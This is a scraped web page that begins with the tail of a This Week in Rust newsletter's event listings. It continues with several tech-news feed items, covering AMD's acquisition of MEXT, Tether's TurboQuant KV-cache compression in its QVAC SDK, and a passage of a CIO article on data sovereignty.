<li><a href="https://www.meetup.com/dallasrust/events/310254779/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-06-23 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/313767883/"><strong>Lunch &amp; Learn: What the heck are monads - and how do we fake them in Rust</strong></a></li>
</ul>
</li>
<li>2026-07-01 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210366/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin/events/">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/308455932/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Virtual (Charlottesville, VA, US) | <a href="https://www.meetup.com/charlottesville-rust-meetup/events/">Charlottesville Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/charlottesville-rust-meetup/events/315211402/"><strong>Learning Game Development the Hard Way with Rust and Bevy</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris/events/">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/313345243/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-07-05 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust/events/">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095287/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-07-07 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust/events/">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315060981/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-07-14 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust/events/">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254778/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-15 | Virtual (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust/events/">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-06-18 | Aarhus, DK | <a href="https://www.meetup.com/rust-aarhus">Rust Aarhus</a><ul>
<li><a href="https://www.meetup.com/rust-aarhus/events/314965238/"><strong>Talk Night at Danske Commodities</strong></a></li>
</ul>
</li>
<li>2026-06-18 | Edinburgh, GB | <a href="https://www.meetup.com/rust-edi/events/">Rust and Friends</a><ul>
<li><a href="https://www.meetup.com/rust-and-friends/events/315093492/"><strong>Rust and Friends comes to Glasgow! (daytime coffee)</strong></a></li>
</ul>
</li>
<li>2026-06-18 | Edinburgh, GB | <a href="https://www.meetup.com/rust-edi/events/">Rust and Friends</a><ul>
<li><a href="https://www.meetup.com/rust-and-friends/events/315093500/"><strong>Rust and Friends comes to Glasgow! (evening pub)</strong></a></li>
</ul>
</li>
<li>2026-06-18 | Barcelona, ES | <a href="https://www.meetup.com/bcnrust/events/">BcnRust</a><ul>
<li><a href="https://www.meetup.com/bcnrust/events/315094938/"><strong>21st BcnRust Meetup</strong></a></li>
</ul>
</li>
<li>2026-06-19 | Dresden, DE | <a href="https://github.com/rust-dresden">Rust Dresden</a><ul>
<li><a href="https://pretix.eu/rust-dresden/on-location-2"><strong>Second Meetup</strong></a></li>
</ul>
</li>
<li>2026-06-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315040676/"><strong>Rust meetup #86</strong></a></li>
</ul>
</li>
<li>2026-06-23 | Warsaw, PL | <a href="https://luma.com/rust.in.warsaw">Rust Warsaw</a><ul>
<li><a href="https://luma.com/djs7ntfx"><strong>Rust Warsaw Meetup: June 2026</strong></a></li>
</ul>
</li>
<li>2026-06-24 | Manchester, GB | <a href="https://www.meetup.com/rust-manchester/events/">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315200163/"><strong>Rust Manchester June Talks</strong></a></li>
</ul>
</li>
<li>2026-06-25 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/314396600/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-06-25 | Copenhagen, DK | <a href="https://www.meetup.com/copenhagen-rust-community/events/">Copenhagen Rust Community</a><ul>
<li><a href="https://www.meetup.com/copenhagen-rust-community/events/315214426/"><strong>Rust meetup #69</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Edinburgh, GB | <a href="https://www.meetup.com/rust-edi/events/">Rust and Friends</a><ul>
<li><a href="https://www.meetup.com/rust-and-friends/events/314941098/"><strong>Bevy, Bits, &amp; Cats (Rust July Talks)</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Enschede, OV, NL | <a href="https://www.meetup.com/dutch-rust-meetup/events/">Baseflow Tech Meetups</a><ul>
<li><a href="https://www.meetup.com/baseflow-tech-meetups/events/315099547/"><strong>AI Summit</strong></a></li>
</ul>
</li>
<li>2026-07-08 | Dublin, IE | <a href="https://www.meetup.com/rust-dublin/events/">Rust Dublin</a><ul>
<li><a href="https://www.meetup.com/rust-dublin/events/315150327/"><strong>Join us live and INPERSON for Rust 261</strong></a></li>
</ul>
</li>
<li>2026-07-09 | Switzerland, CH | <a href="https://www.posttenebraslab.ch/wiki/events/start">PostTenebrasLab</a><ul>
<li><a href="https://www.posttenebraslab.ch/wiki/events/monthly_meeting/rust_meetup"><strong>Rust Meetup Geneva</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-06-17 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314000478/"><strong>Rust Study/Hack/Hang-out</strong></a></li>
</ul>
</li>
<li>2026-06-18 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314236370/"><strong>June, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-06-18 | Nashville, TN, US | <a href="https://www.meetup.com/music-city-rust-developers/events/">Music City Rust Developers</a><ul>
<li><a href="https://www.meetup.com/music-city-rust-developers/events/315213927/"><strong>Community Meetup</strong></a></li>
</ul>
</li>
<li>2026-06-20 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315225854/"><strong>Northeastern Rust Lunch, June 20</strong></a></li>
</ul>
</li>
<li>2026-06-24 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx/events/">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/315105633/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-06-24 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/314386080/"><strong>Rust LA: Rust-Based Constraint Solvers in 2D Sketching with Zoo Technologies</strong></a></li>
</ul>
</li>
<li>2026-06-25 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539326/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-06-26 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315014582/"><strong>Rust NYC's Big Summer Social</strong></a></li>
</ul>
</li>
<li>2026-06-27 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315225857/"><strong>Somerville Union Square Rust Lunch, June 27</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust/events/">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/315103359/"><strong>Git is easy?</strong></a></li>
</ul>
</li>
<li>2026-07-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315225861/"><strong>Boston University Rust Lunch, July 4</strong></a></li>
</ul>
</li>
<li>2026-07-09 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust/events/">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696647/"><strong>Utah Rust July Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-11 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315225865/"><strong>MIT Rust Lunch, July 11</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-06-25 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039461/"><strong>Rust Melbourne June 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-06-18 | Florianópolis, BR | <a href="https://luma.com/rust-sc">Rust SC</a><ul>
<li><a href="https://luma.com/acinctdf"><strong>Rust Floripa</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>"The never type is named after the date of its stabilization" was a good joke while it lasted.</p>
</blockquote>
<p>– <a href="https://www.reddit.com/r/rust/comments/1u1v53c/the_never_type_is_likely_to_stabilize_soon/oqss8ii/">Sergey "Shnatsel" Davidoff on /r/rust</a></p>
<p>Thanks to <a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328/1780">Dos Moonen</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
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<title><![CDATA[The Secret to Reproducible and Portable Optimization: ORPilot’s Intermediate Representation (IR)]]></title>
<description><![CDATA[Why production-level AI optimization modeling agent needs reproducibility and portability, and how IR helps achieve them
The post The Secret to Reproducible and Portable Optimization: ORPilot’s Intermediate Representation (IR) appeared first on Towards Data Science.]]></description>
<link>https://tsecurity.de/de/3605275/ai-nachrichten/the-secret-to-reproducible-and-portable-optimization-orpilots-intermediate-representation-ir/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3605275/ai-nachrichten/the-secret-to-reproducible-and-portable-optimization-orpilots-intermediate-representation-ir/</guid>
<pubDate>Wed, 17 Jun 2026 17:19:15 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Why production-level AI optimization modeling agent needs reproducibility and portability, and how IR helps achieve them</p>
<p>The post <a href="https://towardsdatascience.com/the-secret-to-reproducible-and-portable-optimization-orpilots-intermediate-representation-ir/">The Secret to Reproducible and Portable Optimization: ORPilot’s Intermediate Representation (IR)</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
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<title><![CDATA[AMD acquires MEXT to add predictive memory optimization to its AI stack]]></title>
<description><![CDATA[AMD has acquired memory optimization startup MEXT, bringing predictive memory optimization software into its AI infrastructure portfolio as enterprises look for ways to manage increasingly memory-intensive AI workloads without continually expanding expensive DRAM capacity.



The technology uses ...]]></description>
<link>https://tsecurity.de/de/3604788/it-security-nachrichten/amd-acquires-mext-to-add-predictive-memory-optimization-to-its-ai-stack/</link>
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<pubDate>Wed, 17 Jun 2026 14:36:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>AMD has acquired memory optimization startup MEXT, bringing predictive memory optimization software into its AI infrastructure portfolio as enterprises look for ways to manage increasingly memory-intensive AI workloads without continually expanding expensive DRAM capacity.</p>



<p>The technology uses AI to intelligently move frequently accessed data between flash storage and DRAM, enabling organizations to increase effective memory capacity while reducing infrastructure cost and power consumption, according to AMD.</p>



<p>“Memory has become a critical constraint across cloud and enterprise environments,” <a href="https://www.amd.com/en/blogs/2026/amd-acquires-mext-for-memory-optimization.html" target="_blank" rel="noreferrer noopener">AMD said in a blog</a> announcing the acquisition, adding that traditional approaches of simply adding more DRAM are becoming increasingly costly and power-intensive.</p>



<p>Financial terms of the acquisition were not disclosed. AMD did not immediately respond to a request for additional comment.</p>



<h2 class="wp-block-heading">AI boom reshapes memory economics</h2>



<p>AMD’s move comes as AI infrastructure demand is reshaping the memory market and forcing enterprises to rethink how they scale AI deployments.</p>



<p>According to<a href="https://www.idc.com/resource-center/blog/global-memory-shortage-crisis-market-analysis-and-the-potential-impact-on-the-smartphone-and-pc-markets-in-2026/?utm_source=chatgpt.com" target="_blank"> IDC</a>, AI infrastructure is driving a strategic reallocation of memory production toward enterprise-grade components, with 2026 DRAM supply growth expected to remain below historical norms at 16% year over year, creating pricing pressure across the market.</p>



<p><a href="https://www.gartner.com/en/newsroom/press-releases/2026-02-26-gartner-says-surging-memory-costs-will-reduce-global-pc-and-smartphone-shipments-in-2026?utm_source=chatgpt.com" target="_blank" rel="noreferrer noopener">Gartner has separately</a> forecast a 130% increase in combined DRAM and SSD prices by the end of 2026, warning that higher memory costs will increasingly influence enterprise technology investment decisions.</p>



<p>Against that backdrop, MEXT’s software is designed to address a growing enterprise challenge by using predictive algorithms to identify frequently accessed data and proactively move it between flash storage and DRAM, extending usable memory capacity without requiring proportional hardware expansion, the blog added.</p>



<p>“Memory prices have seen an unprecedented growth, nearly going 4x since 3Q25, making memory one of the most contested chips in the AI infrastructure story,” said Shrish Pant, director analyst at Gartner.</p>



<p>Pant said higher prices and constrained supply are reviving interest in software-driven memory optimization strategies that received little attention when memory was abundant and inexpensive.</p>



<h2 class="wp-block-heading">AI infra competition moves up the stack</h2>



<p>The acquisition also reflects a broader shift in how AI vendors are competing for enterprise workloads.</p>



<p>While the first phase of the AI race centered on securing GPUs and compute capacity, vendors are increasingly investing across networking, software, and infrastructure optimization to improve overall system efficiency.</p>



<p>“We can safely say that we are beyond ‘chips wars’ and have already entered into an ‘Infrastructure optimization war’, and software-based memory optimization is just one of many moving pieces which will determine winners for the AI race,” Pant said.</p>



<p>AMD’s acquisition expands its AI infrastructure portfolio beyond processors into software that optimizes memory utilization, mirroring a broader industry trend toward integrated hardware and software stacks rather than standalone silicon performance.</p>



<p>Manish Rawat, semiconductor analyst at TechInsights, said memory is increasingly becoming a strategic constraint for enterprise AI deployments.</p>



<p>“As enterprises deploy larger models and scale user workloads, memory limitations often constrain performance and GPU utilization before compute resources are fully exhausted,” Rawat said.</p>



<p>Memory is evolving from a supporting hardware component into a strategic enabler of AI scalability, performance, and cost optimization, he added.</p>



<h2 class="wp-block-heading">Software aims to delay expensive DRAM upgrades</h2>



<p>AMD said MEXT’s predictive memory tiering technology intelligently places frequently accessed data in high-speed memory while shifting less active data to lower-cost flash storage.</p>



<p>That approach is intended to increase infrastructure efficiency and reduce the need for continual DRAM expansion as enterprise AI workloads grow, analysts said.</p>



<p>Rawat said software-based memory optimization offers enterprises a practical way to delay expensive hardware upgrades rather than eliminate the need for DRAM.</p>



<p>Although the technology cannot replace high-performance DRAM for latency-sensitive applications, it can improve data center efficiency, lower total cost of ownership, and help organizations maximize returns from existing infrastructure investments, he said.</p>



<p>Sanchit Vir Gogia, chief analyst at Greyhound Research, said the industry is entering a phase where infrastructure orchestration will matter as much as compute performance.</p>



<p>“The GPU is the engine. Memory is the road, the fuel line, and occasionally the traffic jam,” Gogia said.</p>



<p>Production AI workloads place sustained demands on parameters, embeddings, and cached context, making memory performance a business issue rather than simply a hardware specification.</p>



<p>Gogia said predictive memory tiering addresses inefficiencies that often leave expensive DRAM underutilized, but cautioned that optimization should complement, rather than replace, sound infrastructure design.</p>



<p>“Predictive tiering attacks the waste inside that reflex,” he said, referring to the tendency to address performance challenges by purchasing more memory instead of improving utilization.</p>



<p>Rawat said organizations that optimize compute, memory, storage, and software together are likely to scale AI deployments faster, lower operating costs, and generate stronger returns on AI investments than those relying primarily on increasing hardware capacity.</p>
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<title><![CDATA[Tether is shipping TurboQuant KV-cache quantization with Vulkan support into its QVAC SDK]]></title>
<description><![CDATA[The latest release of qvac-fabric-llm.cpp, the inference engine of the QVAC Fabric LLM, features TurboQuant integration for resource management in long-running inference sessions. Tether adopts the technology as a path to better efficiency when running large



language models on devices with lim...]]></description>
<link>https://tsecurity.de/de/3604787/it-security-nachrichten/tether-is-shipping-turboquant-kv-cache-quantization-with-vulkan-support-into-its-qvac-sdk/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3604787/it-security-nachrichten/tether-is-shipping-turboquant-kv-cache-quantization-with-vulkan-support-into-its-qvac-sdk/</guid>
<pubDate>Wed, 17 Jun 2026 14:36:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>The latest release of qvac-fabric-llm.cpp, the inference engine of the QVAC Fabric LLM, features TurboQuant integration for resource management in long-running inference sessions. Tether adopts the technology as a path to better efficiency when running large</p>



<p>language models on devices with limited compute resources.</p>



<p>TurboQuant is Google’s response to the Key-Value (KV) Cache’s capacity expansion during routine inference, which can reach up to 8GB for a 262,000-token context session using a 4B-parameter large language model.</p>



<p>Tether takes the stage as the first AI research team to ship the KV Cache compression algorithm to a publicly available local AI model. The Turboquant integration will be included in the latest version of the QVAC SDK (v0.12.0) and will be available through <a href="https://github.com/tetherto/qvac-fabric-llm.cpp" target="_blank" rel="noreferrer noopener">Fabric</a>, the inference and fine-tuning engine of the SDK.</p>



<p>This enables developers to serve intelligent models via the qvac-fabric-llm.cpp and compute inferences with negligible loss in precision, while consuming up to 5x less VRAM regardless of context size.</p>



<h2 class="wp-block-heading"><strong>Why does this matter?</strong></h2>



<p>When you use an AI assistant, the model records the results from your previous prompts in temporary memory on your device. This record is known as the Key-Value Cache. The KV Cache is akin to a notepad for jotting down key points in a discussion or while reading a book.</p>



<p>For an AI model, it serves as a reference point each time you ask a follow-up question. This makes it easy for the model to follow up on your conversation without having to re-run the whole thread, which would waste a lot of time.</p>



<p>Transformer-based AI models build their KV Cache by storing the “key points” and their identifier, token-by-token (equivalent to “word for word”) in square grids. When you ask a follow-up question, the model sorts the key point using their precise location in the grid and computes new inferences based on your new input (prompt/question).</p>



<p>The KV Cache is a memory optimization technique and ensures a smooth run throughout each usage session. However, as you continue your conversation with the AI assistant, the KV Cache grows larger and consumes more memory on your device.</p>



<p>For instance, a few hours of conversation that grows into a 262,000-token session could consume up to 8GB of VRAM, which is hardly available in user-grade devices. Despite being temporary, KV cache overload could limit how an AI application can be used, especially when running models locally on devices with limited compute capacity, which is the case for the majority of users. KV Cache bloat is a major bottleneck for local AI, pushing users to cloud-based AI.</p>



<p>As a solution, TurboQuant strategically reduces KV Cache memory bloat by converting high-precision data vectors into lower-bit integers. Similar to reducing the size of the handwriting on the notepad or using signs instead of plain words, it shrinks the space the KV cache occupies.</p>



<h2 class="wp-block-heading"><strong>How Turboquant compresses KV Cache memory</strong></h2>



<p>TurboQuant drastically reduces the memory consumed per cached token by using Polar quantization (PolarQuant) and Quantized Johnson-Lindenstrauss (QJL) techniques to bypass traditional quantization methods that require storing full-precision constants for small blocks of data.</p>



<p>It pairs PolarQuant’s structural efficiency with QJL’s zero-overhead error correction to compress caches up to 3 bits, delivering up to 5x improvement in memory management.</p>



<p>PolarQuant is what reduces the handwriting on the notepad or converts it into signs that consume less memory. It maps the KV Cache data onto a fixed circular grid and uses polar coordinates rather than the standard Cartesian (X, Y, Z) coordinates to locate key points.</p>



<p>This limits the details required to locate data to Angle (meaning of the data) and Radius (weight or importance of the data), rather than the full locational layout. It avoids the expensive data-normalization steps by replacing square grids with circular grids, simplifying vector representation and data location. This is similar to rewriting “Add 7 apples, then add 4 apples” as “Add 11 apples total.”</p>



<p>When compressing KV Cache data with PolarQuant, there is a risk of reducing the data’s weight score (importance rating). This is where the QJL comes in; it acts as a mathematical error-checker that corrects for a possible loss in attention score (the importance given to the data) during quantization. QJL uses signed bits (+1 or -1) to balance quantization errors. This way, it keeps the attention score perfectly (or nearly) accurate by balancing low-precision data with high-precision queries.</p>



<h2 class="wp-block-heading"><strong>TurboQuant on QVAC SDK: More possibilities for Local AI</strong></h2>



<p>TurboQuant is a major breakthrough for local and cloud AI, but especially for local AI, where computing overhead is a major bottleneck for routine use. Tether recognizes the technological brilliance of the algorithm and its potential for models built to operate on tight resources. By compressing what would normally consume 8GB of VRAM down to 1.6GB, TurboQuant frees up resources for your inference machine, expands your bandwidth, and imagination of what can be done with a local superintelligent setup.</p>



<p>The TurboQuant integration via qvac-fabric-llm.cpp is supported by the Vulkan backend. This offers important compatibility and performance advantages attributable to Vulkan’s agnosticism and TurboQuant’s direct GPU execution.</p>



<p>Vulkan support bridges the advantages that TurboQuant offers to a wider range of user-grade devices and vendors outside the NVIDIA ecosystem (AMD and NVIDIA are currently supported, with mobile GPUs planned). It enables users and developers to run highly optimized, compressed local inferences on a wide range of platforms, including personal computers and mobile device GPUs.</p>



<p>TurboQuant’s KV Cache compression happens directly on the device’s GPU and aligns with how a computer naturally handles operations. This means the maths is done on the GPU’s fastest, closest memory, ensuring that models served with <a href="https://github.com/tetherto/qvac-fabric-llm.cpp" target="_blank" rel="noreferrer noopener">Fabric</a> achieve the full 5x reduction in KV cache size while maintaining performance and precision. This lets users run much longer contexts (over 262,000 tokens) without running out of VRAM capacity.</p>



<p>TurboQuant lets you do more, with fewer resources, and in everyday environments. From simple follow-up queries to reviewing files that run in multiple gigabytes on your personal computers or mobile phones, it expands the scale of what can be done with an AI application. In QVAC SDK, it complements other optimization techniques inherent in Tether’s AI framework to power native intelligent systems that support an infinite number of users and autonomous agents. In a ten-billion-strong society, such systems will form a secure, viable, and unstoppable foundation for building the most complex superintelligent units for everyday use, biotechnology, and more.</p>



<p>From a macro perspective, compression techniques that reduce the operational resources required by AI models are the industry standard. The ability to develop and integrate such techniques will significantly impact the success of local AI models and infrastructure.</p>



<p><strong>Tether is committed to building AI solutions that run on any setup and let choose their own biases. Follow the QVAC revolution and contribute to Tether’s drive for open source AI.</strong></p>



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<title><![CDATA[5 things CIOs must do as sovereignty becomes a design constraint]]></title>
<description><![CDATA[For years, enterprise IT strategy operated on three assumptions: infrastructure could be global, vendors could be consolidated, and location had little impact on risk or compliance. That model is breaking down. As geopolitical tensions rise, AI regulation accelerates, and supply chains become mor...]]></description>
<link>https://tsecurity.de/de/3604351/it-security-nachrichten/5-things-cios-must-do-as-sovereignty-becomes-a-design-constraint/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3604351/it-security-nachrichten/5-things-cios-must-do-as-sovereignty-becomes-a-design-constraint/</guid>
<pubDate>Wed, 17 Jun 2026 12:08:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>For years, enterprise IT strategy operated on three assumptions: infrastructure could be global, vendors could be consolidated, and location had little impact on risk or compliance. That model is breaking down. As geopolitical tensions rise, AI regulation accelerates, and supply chains become more fragile, CIOs are being forced to rethink not just where technology runs, but how it’s sourced, governed, and secured.</p>



<p>“Three years ago, sourcing decisions always started with total cost of ownership,” says Jochen Jaser, CIO of open-source software company SUSE. “But that’s not the dominant frame anymore. Now it starts more like a risk register.”</p>


<div class="extendedBlock-wrapper block-coreImage left"><figure class="wp-block-image alignleft size-1240-r3:2 is-resized"> width="1240" height="828" sizes="auto, (max-width: 1240px) 100vw, 1240px"&gt;<figcaption class="wp-element-caption"><p>Jochen Jaser, SUSE</p>
</figcaption></figure><p class="imageCredit">SUSE</p></div>



<p>That shift is reshaping enterprise architecture decisions at multiple levels. CIOs are reassessing dependence on hyperscalers, evaluating sovereign cloud options, and paying closer attention to where data resides and how it moves across jurisdictions. According to Shannon Bell, EVP, CIO, and CDO at enterprise information management company OpenText, “geopolitical risk has become a core architecture and sourcing consideration.”</p>



<p>The result is a more fragmented and complex operating environment. Gartner analyst Luis Pinto says organizations increasingly view geography as an architectural constraint rather than a secondary deployment issue, while Ron Babin, IDC advisor and professor at Toronto Metropolitan University, says CIOs must now navigate a growing patchwork of regional regulatory requirements.</p>



<p><a href="https://www.cio.com/article/4168673/can-an-ai-be-a-competent-leader-lets-find-out.html?utm=hybrid_search">As AI becomes more deeply embedded in enterprise operations</a>, the strategic importance of data itself is also changing. CIOs are paying closer attention not only to where data is stored, but how it’s accessed, moved, and protected across borders.</p>



<p>“The business transcends borders, but your data can’t always do the same,” says Matt Stern, CSO at Hypori, a secure mobile access provider.</p>



<p>Organizations aren’t abandoning global platforms, but they’re redesigning how they use them. As sovereignty becomes a permanent strategic constraint, here are five things CIOs must do in response.</p>



<h2 class="wp-block-heading">1. Treat geography as a core architectural decision</h2>



<p>The most fundamental change is conceptual since location is now a design variable rather than a deployment detail. For years, CIOs optimized for scale and efficiency, often centralizing workloads in a handful of hyperscale cloud environments. That approach assumed stable global access and predictable regulatory conditions. Today, those assumptions no longer hold.<br><br>“Where technology is located and who has operational control over it is now a major business risk,” Pinto says. Organizations are responding by paying closer attention to data residency and access rights.</p>


<div class="extendedBlock-wrapper block-coreImage left"><figure class="wp-block-image alignleft size-1240-r3:2 is-resized"> width="1240" height="827" sizes="auto, (max-width: 1240px) 100vw, 1240px"&gt;<figcaption class="wp-element-caption"><p>Luis Pinto, Gartner</p>
</figcaption></figure><p class="imageCredit">Gartner</p></div>



<p>Jaser adds that the shift is forcing organizations to rethink even <a href="https://www.cio.com/article/4107377/cios-will-underestimate-ai-infrastructure-costs-by-30.html?utm=hybrid_search">basic infrastructure assumptions</a>. “Usually you’d just go with AWS, Google, and on-prem,” he says. “But now as digital sovereignty requirements are coming into space, we need to look for sovereign cloud offerings.”</p>



<p>That doesn’t mean abandoning hyperscalers entirely. SUSE itself operates a hybrid infrastructure spanning commercial clouds and its own data centers. Instead, Jaser says organizations are becoming more selective about workload placement, evaluating which systems require stronger sovereignty protections, and which can remain in global environments.</p>



<p>The shift is also reshaping operating models. According to Bell, workload placement strategies are increasingly driven by sensitivity of data, regulatory exposure, and operational risk. “We’re moving from a cloud-first mindset to more of a fit-for-purpose approach,” she says.</p>



<h2 class="wp-block-heading">2. Design for multi-jurisdiction resilience, not efficiency</h2>



<p>As geography becomes a constraint, resilience is replacing efficiency as the primary design goal. Enterprises are rethinking their dependence on a small number of global providers, particularly hyperscalers. While companies such as AWS, Microsoft, and Google remain central to most IT strategies, CIOs are increasingly wary of <a href="https://www.cio.com/article/4146639/ai-is-coming-for-your-office-productivity-suite-too.html?utm=hybrid_search">concentration risk</a>.</p>



<p>“Vendor concentration is now treated as systemic risk, not strategic leverage,” Pinto says. Rather than abandoning hyperscalers, organizations are intentionally fragmenting their portfolios. Global providers are retained for standardized, low-risk workloads, while regional or sovereign alternatives are introduced for more sensitive applications.</p>



<p>According to Jaser, many organizations are now discovering how deeply earlier cloud consolidation decisions constrained their flexibility. “A lot of companies optimized everything for a single cloud provider in terms of technology, skills, and planning,” he says. “Then they realized they had three- or five-year contracts with commitments, which limits the ability to choose something else.”</p>



<p>Babin points to emerging risks that go beyond compliance. In some regions, even data centers are becoming potential targets in geopolitical conflicts. “CIOs now have to think about where their AI models are running and what risks exist in those locations,” he says.</p>



<p>The result is a more resilient, albeit splintered, sourcing model — one designed to preserve optionality if geopolitical, regulatory, or vendor conditions change.</p>



<h2 class="wp-block-heading">3. Classify workloads by sovereignty and risk profile</h2>



<p>If resilience requires diversification, it also requires precision. Not every workload needs the same level of protection. That’s where a more granular approach to sovereignty is emerging. Rather than treating it as a binary choice — sovereign or not — CIOs are increasingly thinking in terms of a spectrum.</p>



<p>“It’s not a black-and-white conversation,” Jaser says. “It depends on the workload, its relevance, and the specific sovereignty requirements attached to it.”</p>



